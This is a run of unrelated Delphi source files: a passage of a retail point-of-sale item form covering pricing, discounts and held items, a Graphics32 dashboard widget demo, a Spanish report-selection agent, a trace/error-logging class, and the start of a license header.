{ will ben set to the sale price }
EditDiscount.Text := MyFloatToStr( 0 );
EditTotalDiscount.Text := MyFloatToStr( 0 );
EditEachTotal.Text := MyFloatToStr( SalePrice, dm.FQtyDecimalFormat );
EditTotal.Text := MyFloatToStr( ( SalePrice * MyStrToFloat(EditQty.Text) ));
FManuallyDiscount := 0;
finally
IsChangeTotal := True;
end;
end;
procedure TFrmPreSaleItem.EditSalePriceEnter(Sender: TObject);
begin
inherited;
EditSalePrice.SelectAll;
end;
procedure TFrmPreSaleItem.btUnlockPriceClick(Sender: TObject);
var
iIDUser: Integer;
begin
inherited;
iIDUser := DM.fUser.ID;
if Password.AquireAccess(75, MSG_CRT_NO_ACCESS, iIDUser, True) then
begin
EditSalePrice.ReadOnly := False;
EditSalePrice.Color := clWindow;
bUnlockPrice := True;
end
else
begin
EditSalePrice.ReadOnly := True;
EditSalePrice.ParentColor := True;
bUnlockPrice := False;
end;
btDiscount.Visible := bUnlockPrice and (not EditSalePrice.ReadOnly);
DM.fUser.ID := iIDUser;
end;
procedure TFrmPreSaleItem.UpdateSalePriceControl;
begin
// Controla o readonly do preço de venda
if Password.HasFuncRight(75) then
begin
btUnlockPrice.Visible := False;
btDiscount.Left := btUnlockPrice.Left;
EditSalePrice.ReadOnly := False;
EditSalePrice.Color := clWindow;
bUnlockPrice := False;
end
else
begin
btUnlockPrice.Visible := True;
btDiscount.Left := btUnlockPrice.Left + btUnlockPrice.Width;
EditSalePrice.ReadOnly := True;
EditSalePrice.ParentColor := True;
bUnlockPrice := True;
end;
end;
function TFrmPreSaleItem.HasPriceTable: Boolean;
var
sIDGroup: String;
begin
sIDGroup := DM.DescCodigo(['IDModel'], [cmbModel.LookUpValue], 'Model', 'GroupID');
Result := DM.DescCodigo(['IDGroup'], [sIDGroup], 'TabGroup', 'UsePriceTable') = 'True';
if Result then
with DM.quFreeSQL do
try
if Active then
Close;
SQL.Clear;
SQL.Add('SELECT');
SQL.Add(' COUNT(M.IDModel) Total');
SQL.Add('FROM');
SQL.Add(' Model M (NOLOCK) ');
SQL.Add(' LEFT JOIN (SELECT IDModel FROM Inv_ModelPrice (NOLOCK) WHERE IDModel = :IMPIDModel) IMP ON (M.IDModel = IMP.IDModel)');
SQL.Add(' LEFT JOIN (SELECT IDModel FROM Inv_StorePrice (NOLOCK) WHERE IDModel = :ISPIDModel) ISP ON (M.IDModel = ISP.IDModel)');
SQL.Add('WHERE');
SQL.Add(' IMP.IDModel IS NOT NULL');
SQL.Add(' OR ISP.IDModel IS NOT NULL');
Parameters.ParamByName('IMPIDModel').Value := cmbModel.LookUpValue;
Parameters.ParamByName('ISPIDModel').Value := cmbModel.LookUpValue;
Open;
Result := FieldByName('Total').AsInteger > 0;
finally
Close;
end;
end;
procedure TFrmPreSaleItem.SetDocument;
begin
if not Assigned(FFrmEnterMovDocumet) then
FFrmEnterMovDocumet := TFrmEnterMovDocumet.Create(Self);
if FFrmEnterMovDocumet.Start then
begin
FSaleItem.IDDocumentType := FFrmEnterMovDocumet.IDDocumentType;
FSaleItem.DocumentNumber := FFrmEnterMovDocumet.DocumentNumber;
end;
end;
function TFrmPreSaleItem.NeedDocument: Boolean;
var
sIDGroup: String;
begin
sIDGroup := DM.DescCodigo(['IDModel'], [cmbModel.LookUpValue], 'Model', 'GroupID');
Result := DM.DescCodigo(['IDGroup'], [sIDGroup], 'TabGroup', 'UseDocumentOnSale') = 'True';
end;
procedure TFrmPreSaleItem.GetMovDocument;
begin
with DM.quFreeSQL do
try
if Active then
Close;
SQL.Clear;
SQL.Add('SELECT IDDocumentType, DocumentNumber FROM Inv_MovDocument (NOLOCK) WHERE IDPreInventoryMov = :IDPreInventoryMov');
Parameters.ParamByName('IDPreInventoryMov').Value := MyPreInventMovID;
Open;
if not IsEmpty then
begin
FSaleItem.IDDocumentType := FieldByName('IDDocumentType').Value;
FSaleItem.DocumentNumber := FieldByName('DocumentNumber').Value;
end;
finally
Close;
end;
end;
procedure TFrmPreSaleItem.GetTablePrice;
begin
with DM.quFreeSQL do
try
if Active then
Close;
SQL.Clear;
SQL.Add('SELECT IDDescriptionPrice, IDVendor, SuggPrice FROM Inv_MovPrice (NOLOCK) WHERE IDPreInventoryMov = :IDPreInventoryMov');
Parameters.ParamByName('IDPreInventoryMov').Value := MyPreInventMovID;
Open;
if not IsEmpty then
begin
if not Assigned(FPriceTable) then
FPriceTable := TChoosedPrice.Create;
FPriceTable.IDDescriptionPrice := FieldByName('IDDescriptionPrice').Value;
FPriceTable.IDVendor := FieldByName('IDVendor').Value;
FPriceTable.SuggPrice := FieldByName('SuggPrice').Value;
end;
finally
Close;
end;
end;
function TFrmPreSaleItem.ReturnIDUser: Integer;
begin
Result := DM.fUser.ID;
if DM.fSystem.SrvParam[PARAM_SALE_REPEAT_CUSTOMER_SALESPERSON] then
if DM.fUser.IDUserCliente <> 0 then
Result := DM.fUser.IDUserCliente;
end;
function TFrmPreSaleItem.ReturnIDComis: Integer;
begin
Result := MyStrToInt(cmbSalesPerson.LookUpValue);
if DM.fSystem.SrvParam[PARAM_SALE_REPEAT_CUSTOMER_SALESPERSON] then
if DM.fUser.IDCommissionCliente <> 0 then
Result := DM.fUser.IDCommissionCliente;
end;
function TFrmPreSaleItem.isVisiblePanelSalePerson: boolean;
begin
result := Password.HasFuncRight(10) or
((DM.fSystem.SrvParam[PARAM_SALE_SCREEN_TYPE] = CASHREG_TYPE_OFFICE) and newItemToAddInCashRegister);
end;
function TFrmPreSaleItem.isVisiblePanelCostPrice: boolean;
begin
result := password.HasFuncRight(36) or password.HasFuncRight(11);
end;
procedure TFrmPreSaleItem.treatCostPrice;
begin
pnlCostPrice.Visible := isVisiblePanelCostPrice;
if Password.HasFuncRight(36) then
begin
editCostPrice.ReadOnly := False;
editCostPrice.Color := clWindow;
end
else
begin
editCostPrice.ReadOnly := True;
editCostPrice.ParentColor := True;
end;
end;
procedure TFrmPreSaleItem.treatSalePerson(isNewItem: boolean);
begin
pnlSalesPerson.Visible := isVisiblePanelSalePerson;
if ( isNewItem ) then begin
cmbSalesPerson.Enabled := isNewItem;
cmbSalesPerson.LookUpValue := '';
if Assigned(DM.fPOS.fDefaultSalesPerson) and (DM.fPOS.fDefaultSalesPerson.Count > 0) then
begin
DM.fPOS.fCommisList.Assign(DM.fPOS.FDefaultSalesPerson);
VerifyCommissions;
end;
end;
end;
procedure TFrmPreSaleItem.setScreenPosition;
begin
Left := 100;
Top := 88;
end;
procedure TFrmPreSaleItem.treatPanelCostPrice;
begin
end;
procedure TFrmPreSaleItem.treatPanelSalePerson;
begin
end;
procedure TFrmPreSaleItem.treatQuantity(isNewItem: boolean);
begin
EditQty.Enabled := not (MyquPreSaleItem.FieldByName('Promo').AsBoolean);
if DM.fSystem.SrvParam[PARAM_FASTSALE] then begin
EditQty.Enabled := False;
end
else begin
EditQty.Enabled := True;
end;
if EditQty.Enabled then
EditQty.Color := clWindow
else
EditQty.Color := clBtnFace;
end;
procedure TFrmPreSaleItem.treatLookupModel(isNewItem: boolean);
begin
if ( isNewItem ) then begin
cmbModel.ReadOnly := False;
cmbModel.Color := clWindow;
end
else begin
cmbModel.readOnly := true;
cmbModel.Color := clBtnFace;
end;
end;
procedure TFrmPreSaleItem.btResetManualPriceClick(Sender: TObject);
begin
inherited;
// Antonio Apr 08, 2014
fSaleItem.IsManualPrice := false;
dm.fPOS.resetManualPrice(MyquPreSaleItem.FieldByName('IDInventoryMov').AsInteger);
end;
procedure TFrmPreSaleItem.btResetDiscountClick(Sender: TObject);
begin
inherited;
// Antonio Apr 08, 2014
fSaleItem.IsManualDiscount := false;
dm.fPOS.resetDiscount(MyquPreSaleItem.FieldByName('IDInventoryMov').AsInteger);
end;
function TFrmPreSaleItem.saveSaleItem(arg_exchange: Boolean; arg_qty, arg_qtyOnHandInventory,
arg_qtyOnHold, arg_discount, arg_eachDiscount: Double; arg_idpreinvExchange: Integer): Boolean;
var
iError: Integer;
begin
if ( arg_qty <= ( arg_qtyOnHandInventory + arg_qtyOnHold ) ) then begin
// according to Jeremy told me
end;
DM.fPOS.AddHoldItem(MyIDCliente,
MyIDPreSale,
StrToInt(cmbModel.LookUpValue),
DM.fStore.IDStoreSale,
arg_qty,
arg_discount, //Discount,
SalePrice,
MyStrToMoney(editCostPrice.Text),
ReturnIDUser,
ReturnIDComis,
MyPreSaleDate,
Now,
False,
Password.HasFuncRight(9), //manager
arg_idpreinvExchange, //IDPreInvMovExchange,
fDepartment,
iError,
MyPreInventMovID,
0,
FSaleItem.Promo,
FSaleItem.IDDescriptionPrice,
FSaleItem.IDVendorPrice,
FSaleItem.SuggPrice,
FSaleItem.DocumentNumber,
FSaleItem.IDDocumentType,
{ Alex 09/17/2011 }
0,
arg_eachDiscount,
true,
FSaleItem.ManualPrice,
FSaleItem.ManualDiscount,
FSaleItem.IDSpecialPrice,
FSaleItem.IsManualPrice,
FSaleItem.IsManualDiscount
);
if ( iError <> 0 ) then
caseErrorOnSave(iError, arg_exchange, arg_discount, arg_idpreinvExchange);
end;
procedure TFrmPreSaleItem.caseErrorOnSave(arg_error: Integer; arg_exchange: Boolean; arg_discount: Double;
arg_idpreinvExchange: Integer);
begin
// verify if user is a manager
if ( Password.HasFuncRight(9) ) then begin
seeDiscountWasRechead(arg_discount, arg_idpreinvExchange);
end
else begin
case ( arg_error ) of
-1 : seeEraseAllDiscountAdded(arg_discount, arg_idpreinvExchange);
-2 : seeDiscountLimitRechead();
else begin
if ( arg_exchange ) then
updateInvoiceGettingHold();
end;
end;
end;
end;
procedure TFrmPreSaleItem.seeDiscountWasRechead(arg_discount: Double; arg_idpreinvExchange: Integer);
var
iError: Integer;
begin
if MsgBox(MSG_QST_DISCOUNT_WAS_REACHED, vbYesNo + vbQuestion) = vbYes then begin
DM.fPOS.AddHoldItem(MyIDCliente,
MyIDPreSale,
StrToInt(cmbModel.LookUpValue),
DM.fStore.IDStoreSale,
0, //Qty,
arg_discount, //Discount,
SalePrice,
MyStrToMoney(editCostPrice.Text),
ReturnIDUser,
ReturnIDComis,
MyPreSaleDate,
Now,
False,
True,
arg_idpreinvExchange, //IDPreInvMovExchange,
fDepartment,
iError,
MyPreInventMovID,
0,
FSaleItem.Promo,
FSaleItem.IDDescriptionPrice,
FSaleItem.IDVendorPrice,
FSaleItem.SuggPrice,
FSaleItem.DocumentNumber,
FSaleItem.IDDocumentType);
end
else begin
EditSalePrice.SetFocus;
Screen.Cursor := crDefault;
Exit;
end;
end;
procedure TFrmPreSaleItem.seeEraseAllDiscountAdded(arg_discount: Double; arg_idpreinvExchange: Integer);
var
iError: Integer;
begin
if MsgBox(MSG_QST_ERASE_ALL_DISCOUNT_ADD, vbYesNo + vbQuestion) = vbYes then begin
DM.fPOS.AddHoldItem(MyIDCliente,
MyIDPreSale,
StrToInt(cmbModel.LookUpValue),
DM.fStore.IDStoreSale,
0, //Qty,
arg_discount, //Discount,
SalePrice,
MyStrToMoney(editCostPrice.Text),
ReturnIDUser,
ReturnIDComis,
MyPreSaleDate,
Now,
True,
False,
arg_idpreinvExchange, //IDPreInvMovExchange,
fDepartment,
iError,
MyPreInventMovID,
0,
FSaleItem.Promo,
FSaleItem.IDDescriptionPrice,
FSaleItem.IDVendorPrice,
FSaleItem.SuggPrice,
FSaleItem.DocumentNumber,
FSaleItem.IDDocumentType);
end;
end;
procedure TFrmPreSaleItem.seeDiscountLimitRechead;
begin
EditSalePrice.SetFocus;
Screen.Cursor := crDefault;
MsgBox(MSG_INF_DISCOUNT_LIMT_REACHED, vbOKOnly + vbInformation);
end;
procedure TFrmPreSaleItem.updateInvoiceGettingHold;
begin
try
dm.updateInvoiceGettingHoldNumber(fSaleItem.IDPreSale, strToInt(EditExchange.Text));
except
on e: Exception do begin
raise Exception.create('Getting hold numer ' + e.Message)
end;
end;
end;
procedure TFrmPreSaleItem.removeManualPriceClick(Sender: TObject);
begin
inherited;
dm.fPOS.resetManualPrice(MyPreInventMovID);
fsaleItem.ManualPrice := 0;
fsaleItem.IsManualPrice := false;
saveSaleItem(true, fSaleItem.Qty, fOnHand, fOnPreSale, fsaleItem.Discount, 0, 0);
refreshSale(MyIDPreSale, MyPreInventMovID, MyPreSaleDate);
showManualPriceButton();
end;
procedure TFrmPreSaleItem.removeDiscountClick(Sender: TObject);
begin
inherited;
dm.fPOS.resetDiscount(MyPreInventMovID);
FManuallyDiscount := 0;
fsaleItem.ManualDiscount := FManuallyDiscount;
fsaleItem.IsManualDiscount := false;
saveSaleItem(true, fSaleItem.Qty, fOnHand, fOnPreSale, fsaleItem.Discount, 0, 0);
refreshSale(MyIDPreSale, MyPreInventMovID, MyPreSaleDate);
showDiscountButtons();
end;
procedure TFrmPreSaleItem.showDiscountButtons();
begin
if ( dm.foundManualDiscount(MyPreInventMovID) )
then begin
removeDiscount.Visible := true;
btDiscount.Visible := false;
end
else begin
removeDiscount.Visible := false;
btDiscount.Visible := true;
fsaleItem.ManualDiscount := 0;
end;
end;
procedure TFrmPreSaleItem.deleteManualDiscount;
begin
fsaleItem.IsManualDiscount := false;
fsaleItem.ManualDiscount := 0;
removeDiscountApplied := true;
LoadEditValues(quantityFromCashRegister);
showDiscountButtons();
end;
procedure TFrmPreSaleItem.deleteManualPrice;
begin
LoadEditValues(quantityFromCashRegister);
showManualPriceButton();
end;
procedure TFrmPreSaleItem.showManualPriceButton();
begin
if ( not myquPresaleItem.fieldByname('IdInventoryMov').isNull ) then begin
if dm.foundManualPrice(MyquPreSaleItem.fieldByName('IdInventoryMov').Value) then begin
removeManualPrice.Visible := true
end
else begin
removeManualPrice.visible := false;
fsaleitem.ManualPrice := 0;
end;
end;
end;
procedure TFrmPreSaleItem.refreshSale(arg_idpresale,
arg_preinvmovid: Integer; arg_presaledate: TDateTime);
begin
MyquPreSaleItem := dm.callSpItemSale(arg_idpresale, arg_preinvmovid, arg_presaledate);
MyquPreSaleItem.Locate('IdInventoryMov', arg_preinvMovId, []);
salePrice := myquPresaleItem.fieldByName('SalePrice').Value;
MyIDPreSale := arg_idpresale;
MyPreInventMovID := arg_preinvmovid;
MyquPreSaleValue := dm.callSpInvoiceSale(arg_idpresale);
LoadEditValues(quantityFromCashRegister);
end;
procedure TFrmPreSaleItem.EditSalePricePressEnter(Sender: TObject);
begin
inherited;
// to assign manual price
if ( (priceBeforeChange <> priceAfterChange) and (not removeManualPricePressed) )
then begin
fsaleItem.ManualPrice := salePrice;
fsaleItem.IsManualPrice := true;
EditSalePrice.SelectAll;
end;
end;
procedure TFrmPreSaleItem.EditSalePriceExit(Sender: TObject);
var Ctrl: TWinControl;
begin
inherited;
EditSalePricePressEnter(sender);
editsalePriceEnter(sender);
end;
end.
|
{-----------------------------------------------------------------------------------
Unit Name : Ana_.pas /
Author : Uğur PARLAYAN / uparlayan <ugurparlayan@gmail.com> /
Copyright : 2018 by Uğur PARLAYAN. All rights reserved. /
Component Set: Graphics32_RBC /
/
Purpose : Visual graphics for Business Intelligence applications on VCL /
Created : 2018-05-01 /
Version : 1.0.0.0 beta /
Required : https://github.com/graphics32/graphics32 /
Source Codes : https://github.com/uparlayan/Graphics32_RBC /
Overview : This Component Kit provides visual graphics for business /
intelligence applications. Allows you to create Dashboard objects /
for your applications. The codes contained here include a light /
version of the actual component set. Please contact the author for /
more advanced options. /
-----------------------------------------------------------------------------------}
unit Ana_;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, GR32_Image, Vcl.ComCtrls, GR32_ColorPicker, GR32_Widgets_PopupForm,
Vcl.ExtCtrls, Vcl.StdCtrls, GR32_Widgets_Bar, GR32_Widgets_Chart, GR32_Widgets_Circle, GR32_Widgets_Base,
GR32_Widgets_Box, GR32_Widgets_Title;
type
TAna = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
GP: TGridPanel;
GR32WidgetBox6: TGR32WidgetBox;
GR32WidgetBox3: TGR32WidgetBox;
GR32WidgetCircle1: TGR32WidgetCircle;
GR32WidgetCircle2: TGR32WidgetCircle;
PNL_2: TPanel;
Splitter1: TSplitter;
BRO: TGR32WidgetChart;
GRO: TGR32WidgetChart;
GR32WidgetBar2: TGR32WidgetBar;
Panel2: TPanel;
GR32WidgetBar4: TGR32WidgetBar;
GR32WidgetBar5: TGR32WidgetBar;
GR32WidgetBar6: TGR32WidgetBar;
GR32WidgetBar7: TGR32WidgetBar;
Panel1: TPanel;
FREQ: TTrackBar;
TRA: TTrackBar;
BT_Animasyon: TButton;
GR32WidgetPopupForm1: TGR32WidgetPopupForm;
GR32WidgetTitle1: TGR32WidgetTitle;
GR32WidgetBar1: TGR32WidgetBar;
GR32WidgetBar3: TGR32WidgetBar;
procedure TRAChange(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure BT_AnimasyonClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FREQChange(Sender: TObject);
procedure GR32WidgetBar2Click(Sender: TObject);
procedure GR32WidgetPopupForm1BeforePopup(Sender: TObject);
private
{ Private declarations }
procedure Setup;
public
{ Public declarations }
Kilit: Boolean;
L, T, W, H, X, Y: Integer;
AX, AY: Single;
end;
var
Ana: TAna;
implementation
{$R *.dfm}
uses
PopupForm_
, System.Math
, GR32_Rubicube_Utils
;
procedure TAna.BT_AnimasyonClick(Sender: TObject);
begin
Timer2.Enabled := NOT Timer2.Enabled;
end;
procedure TAna.FormCreate(Sender: TObject);
begin
Setup;
end;
procedure TAna.Setup;
var
I: Integer;
M: Single;
begin
T := 0;
L := 0;
AX := 2;
AY := 2;
//M := GRO.Height;
for I := 0 to 20 do begin
M := Random(100);
GRO.Add('Test', M);
BRO.Add('Test', M);
end;
end;
procedure TAna.FREQChange(Sender: TObject);
begin
Timer1.Interval := FREQ.Position;
Timer2.Interval := FREQ.Position;
end;
procedure TAna.GR32WidgetBar2Click(Sender: TObject);
begin
GR32WidgetPopupForm1.DoPopupForm;
end;
procedure TAna.GR32WidgetPopupForm1BeforePopup(Sender: TObject);
begin
// Atamayı Popup olayından hemen önce yapıyoruz.
GR32WidgetPopupForm1.PopupForm := PopupForm_.CreatePopupForm(Self);
end;
procedure TAna.Timer2Timer(Sender: TObject);
begin
TRA.Position := (TRA.Position + 1) mod 101;
end;
procedure TAna.TRAChange(Sender: TObject);
var
I, J, K, Z: Integer;
// '{301EE6C6-56EC-403A-9E20-663F0D09316D}'
begin
for I := 0 to ComponentCount - 1 do begin
if Components[I] is TGR32WidgetCircle then begin
TGR32WidgetCircle(Components[I]).Yuzde := TRA.Position;
end else
if Components[I] is TGR32WidgetBox then begin
TGR32WidgetBox(Components[I]).HeaderText := Format('%d$', [trunc(TRA.Position * 7.8)]);
end else
if Components[I] is TGR32WidgetBar then begin
TGR32WidgetBar(Components[I]).Yuzde := TRA.Position;
end else
if Components[I] is TGR32WidgetChart then begin
with TGR32WidgetChart(Components[I]) do begin
K := 1;
//Z := ItemCount - 1;
for J := 0 to ItemCount - 1 do begin
K := (K + 1) mod ItemCount;
Item(J).Value := Item(K).Value;
end;
Invalidate;
end;
end else
begin end;
end;
end;
end.
|
unit CListadosAgent;
interface
uses
SysUtils,
Dialogs,
Forms,
VSelListadoForm,
VSelTipoOpListadoForm;
type
TListadosAgent = class(TObject)
protected
FSelForm: TSelListadoForm;
FSelTipoOpForm: TSelTipoOpListadoForm;
//*** respuesta a eventos de los formularos asociados
// -- del de selección
procedure selFormAceptarBtn(Sender: TObject);
procedure selFormCancelarBtn(Sender: TObject);
// -- opciones del listado por tipos de operación
procedure selTipoOpAceptarBtn(Sender: TObject);
procedure selTipoOpCancelarBtn(Sender: TObject);
procedure ShowSeleccion; virtual;
procedure ShowTipoOpSeleccion; virtual;
procedure ShowSoportesSeleccion; virtual;
public
procedure Execute; virtual;
end;
implementation
uses
CListadoTipoOpAgent;
(**************
MÉTODOS PROTEGIDOS
**************)
// **** respuestas a los eventos de los formularios
procedure TListadosAgent.selFormAceptarBtn(Sender: TObject);
begin
if FSelForm.tiposOperacionesRadioButton.Checked then
ShowTipoOpSeleccion()
else
ShowSoportesSeleccion();
end;
procedure TListadosAgent.selFormCancelarBtn(Sender: TObject);
begin
FSelForm.Close();
end;
// --
procedure TListadosAgent.selTipoOpAceptarBtn(Sender: TObject);
var
listadoParams: TListadoTipoOpParams;
listadoAgent : TListadoTipoOpAgent;
numTipo: Integer;
begin
listadoParams := TListadoTipoOpParams.Create();
listadoAgent := TListadoTipoOpAgent.Create();
try
listadoParams.FFechas[TIPO_OP_PARAM_FECHA_DESDE_INDEX] := FSelForm.fechaDesdeEdit.Date;
listadoParams.FFechas[TIPO_OP_PARAM_FECHA_HASTA_INDEX] := FSelForm.fechaHastaEdit.Date;
listadoParams.FInidicarSoporte := FSelTipoOpForm.indicarSoporteEnvioCheckBox.Checked;
listadoParams.FSepararPorSoporte := FSelTipoOpForm.separarPorSoporteCheckBox.Checked;
listadoParams.FSepararPorFechas := FSelTipoOpForm.separarDiasCheckBox.Checked;
listadoParams.FSepararPorTerminales := FSelTipoOpForm.separarTerminalesCheckBox.Checked;
listadoParams.FSepararPorTipos := FSelTipoOpForm.separarTiposCheckBox.Checked;
listadoParams.FAnadirDatosCadaTipo := FSelTipoOpFOrm.anadirDatosEspecificosOpCheckBox.Checked;
listadoParams.FSoloIncluirTipos := FSelTipoOpForm.incluirSoloTiposCheckBox.Checked;
listadoParams.FSaltarPagina := FSelTipoOpForm.saltoPaginaCheckBox.Checked;
listadoParams.FEmitirCuadorResumen := FSelTipoOpForm.emitirResumenCheckBox.Checked;
for numTipo := 0 to FSelTipoOpForm.tiposAIncluirCheckListBox.Count - 1 do
listadoParams.FTiposAIncluir[numTipo + 1] := FSelTipoOpForm.tiposAIncluirCheckListBox.Checked[numTipo];
listadoAgent.ExecuteWithParams(listadoParams);
finally
listadoParams.Free();
listadoAgent.Free();
end
end;
procedure TListadosAgent.selTipoOpCancelarBtn(Sender: TObject);
begin
FSelTipoOpForm.Close();
end;
// ****
procedure TListadosAgent.ShowSeleccion;
begin
FSelForm := TSelListadoForm.Create(nil);
try
FSelForm.fechaDesdeEdit.Date := date();
FSelForm.fechaHastaEdit.Date := date();
FSelForm.AceptarButton.OnClick := selFormAceptarBtn;
FSelForm.CancelarButton.OnClick := selFormCancelarBtn;
FSelForm.ShowModal();
finally
FSelForm.Free();
end;
end;
procedure TListadosAgent.ShowTipoOpSeleccion;
var
variosDias: Boolean;
addCabStr: String;
begin
FSelTipoOpForm := TSelTipoOpListadoForm.Create(nil);
try
variosDias := (FSelForm.fechaDesdeEdit.Date <> FSelForm.fechaHastaEdit.Date);
addCabStr := dateToStr( FSelForm.fechaDesdeEdit.Date );
if variosDias then
addCabStr := addCabStr + ' a ' + dateToStr( FSelForm.fechaHastaEdit.Date );
FSelTipoOpForm.LabelCabecera.Caption := FSelTipoOpForm.LabelCabecera.Caption + ' (' + addCabStr + ')';
FSelTipoOpForm.separarDiasCheckBox.Enabled := variosDias;
FSelTipoOpForm.AceptarBtn.OnClick := selTipoOpAceptarBtn;
FSelTipoOpForm.CancelarBtn.OnClick := selTipoOpCancelarBtn;
FSelTipoOpForm.ShowModal();
finally
FSelTipoOpForm.Free();
end;
end;
procedure TListadosAgent.ShowSoportesSeleccion;
begin
end;
(**************
MÉTODOS PÚBLICOS
**************)
procedure TListadosAgent.Execute;
begin
ShowSeleccion();
end;
end.
|
unit uMRTraceControl;
interface
uses Classes, SysUtils, Windows, MConnect, ADODB, uSaveToFile;
type
TTraceList = ^AList;
AList = record
iBegin: Integer;
sProcName: String;
sRecordId: String;
end;
TMRTraceControl = class(TObject)
private
FException: WideString;
FClassException: String;
FTraceList: TList;
ATraceRecord: TTraceList;
FADOConn: TADOConnection;
procedure InsertAppHistory(AIDUser: Integer; ASource : String; AErrorMessage: WideString);
function GetLastTrace: String;
procedure InsertAppFileHistory(APath : String; AErrorMessage: WideString);
public
constructor Create;
destructor Destroy; override;
procedure TraceIn (sProcName: String; sRecordId: String = '');
procedure TraceOut;
procedure Write (sUserText: String);
procedure SetException(AException : WideString; AClassException: String);
procedure SaveTrace(AIDUser: Integer); overload;
procedure SaveTrace(AIDUser: Integer; AException, AClass: String); overload;
procedure SaveTraceFile(AIDUser: Integer; AException, AClass, APath: String);
function TraceResult(Exception: WideString): WideString;
property LastTrace: String read GetLastTrace;
property ADOConn: TADOConnection read FADOConn write FADOConn;
end;
implementation
{$DEFINE DEBUG}
{ TMRTraceControl }
procedure TMRTraceControl.SaveTraceFile(AIDUser: Integer; AException, AClass,
APath: String);
var
sError : String;
begin
sError := FormatDateTime('mm/dd/yyyy hh:mm', now);
sError := sError + ' U:' + IntToStr(AIDUser) + ' C:' + AClass + ' E:' + AException;
if APath = '' then
APath := 'C:\';
InsertAppFileHistory(APath, sError);
end;
procedure TMRTraceControl.InsertAppFileHistory(APath : String; AErrorMessage: WideString);
var
fFile : TSaveFile;
begin
fFile := TSaveFile.Create;
try
fFile.FilePath := APath + 'MR_Sis_AppHistory.txt';
fFile.OpenFile;
fFile.InsertText(AErrorMessage,0);
fFile.CreateFile;
finally
FreeAndNil(fFile);
end;
end;
constructor TMRTraceControl.Create;
begin
inherited Create;
FTraceList := TList.Create;
end;
destructor TMRTraceControl.Destroy;
begin
while FTraceList.Count > 0 do
begin
ATraceRecord := FTraceList.Items[0];
if ATraceRecord <> nil then
Dispose(ATraceRecord);
FTraceList.Delete(0);
end;
FreeAndNil(FTraceList);
inherited Destroy;
end;
function TMRTraceControl.GetLastTrace: String;
begin
if FTraceList.Count > 0 then
Result := TTraceList(FTraceList[FTraceList.Count - 1]).sProcName
else
Result := '';
end;
procedure TMRTraceControl.SaveTrace(AIDUser: Integer);
begin
if FException <> '' then
begin
InsertAppHistory(AIDUser, FClassException, FException);
FException := '';
end;
end;
procedure TMRTraceControl.InsertAppHistory(AIDUser: Integer;
ASource : String; AErrorMessage: WideString);
var
CmdLog : TADOStoredProc;
begin
CmdLog := TADOStoredProc.Create(nil);
try
CmdLog.Connection := FADOConn;
CmdLog.CommandTimeout := 360;
CmdLog.ProcedureName := 'sp_Sis_AppHistory_Add;1';
CmdLog.Parameters.Refresh;
//CmdLog.CommandText := 'EXEC sp_Sis_AppHistory_Add :IDUser, 1, 0, :Software, :Source, :ErrorMsg ';
CmdLog.Parameters.ParamByName('@IDUsuario').Value := AIDUser;
CmdLog.Parameters.ParamByName('@ErrorLevel').Value := 1;
CmdLog.Parameters.ParamByName('@SystemError').Value := 0;
CmdLog.Parameters.ParamByName('@Software').Value := 'MainRetail';
CmdLog.Parameters.ParamByName('@FormSource').Value := ASource;
CmdLog.Parameters.ParamByName('@ErrorMessage').Value := AErrorMessage;
CmdLog.ExecProc;
finally
FreeAndNil(CmdLog);
end;
//FADOConn.Execute('EXEC sp_Sis_AppHistory_Add ' + IntToStr(AIDUser) +
// ', 1, 0, ' + QuotedStr('MainRetail') + ', ' + QuotedStr(ASource) + ', ' + #39 + AErrorMessage + #39 );
end;
procedure TMRTraceControl.SaveTrace(AIDUser: Integer; AException, AClass: String);
begin
InsertAppHistory(AIDUser, AClass, TraceResult(AException));
end;
procedure TMRTraceControl.SetException(AException : WideString; AClassException: String);
begin
if FException = '' then
begin
FException := TraceResult(AException);
FClassException := AClassException;
end;
end;
procedure TMRTraceControl.TraceIn(sProcName: String; sRecordId: String);
var
sTraceText: String;
iCount: Integer;
begin
{$IFDEF DEBUG}
New(ATraceRecord);
ATraceRecord^.iBegin := GetTickCount;
ATraceRecord^.sProcName := sProcName;
ATraceRecord^.sRecordId := sRecordId;
FTraceList.Add(ATraceRecord);
sTraceText := '';
for iCount := 0 to FTraceList.Count - 2 do
sTraceText := sTraceText + ' ';
sTraceText := sTraceText + 'Início ' + sProcName;
OutputDebugString(PChar(sTraceText));
{$ENDIF}
end;
procedure TMRTraceControl.TraceOut;
var
sTraceText: String;
iCount: Integer;
iEnd: Integer;
begin
{$IFDEF DEBUG}
if FTraceList.Count > 0 then
begin
sTraceText := '';
for iCount := 0 to FTraceList.Count - 2 do
sTraceText := sTraceText + ' ';
ATraceRecord := FTraceList.Items[FTraceList.Count - 1];
iEnd := GetTickCount;
sTraceText := sTraceText + 'Fim ' + ATraceRecord.sProcName;
sTraceText := sTraceText + ' - (' + (IntToStr(iEnd - ATraceRecord.iBegin)) + ')';
if ATraceRecord <> nil then
Dispose(ATraceRecord);
FTraceList.Delete(FTraceList.Count - 1);
OutputDebugString(PChar(sTraceText));
end;
{$ENDIF}
end;
function TMRTraceControl.TraceResult(Exception: WideString): WideString;
var
I: Integer;
Methods, RecordId: String;
begin
Methods := '';
RecordId := '';
if FTraceList.Count > 0 then
begin
// Get trace items
for I := 0 to FTraceList.Count - 1 do
begin
Methods := Methods + TTraceList(FTraceList[I]).sProcName + '->';
if TTraceList(FTraceList[I]).sRecordId <> '' then
RecordId := RecordId + TTraceList(FTraceList[I]).sRecordId + '|';
end;
Delete(Methods, Length(Methods)-1, 2);
Delete(RecordId, Length(RecordId), 1);
FTraceList.Clear;
end;
Result := Methods + '. Error: ' + Exception;
if RecordId <> '' then
Result := Result + '. ID: ' + RecordId;
end;
procedure TMRTraceControl.Write(sUserText: String);
var
sTraceText: String;
iCount: Integer;
begin
{$IFDEF DEBUG}
sTraceText := '';
for iCount := 0 to FTraceList.Count - 2 do
sTraceText := sTraceText + ' ';
sTraceText := sTraceText + '>> ' + sUserText;
OutputDebugString(PChar(sTraceText));
{$ENDIF}
end;
end.
|
unit uBase;
{
Copyright (c) 2015 Ugochukwu Mmaduekwe ugo4brain@gmail.com
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
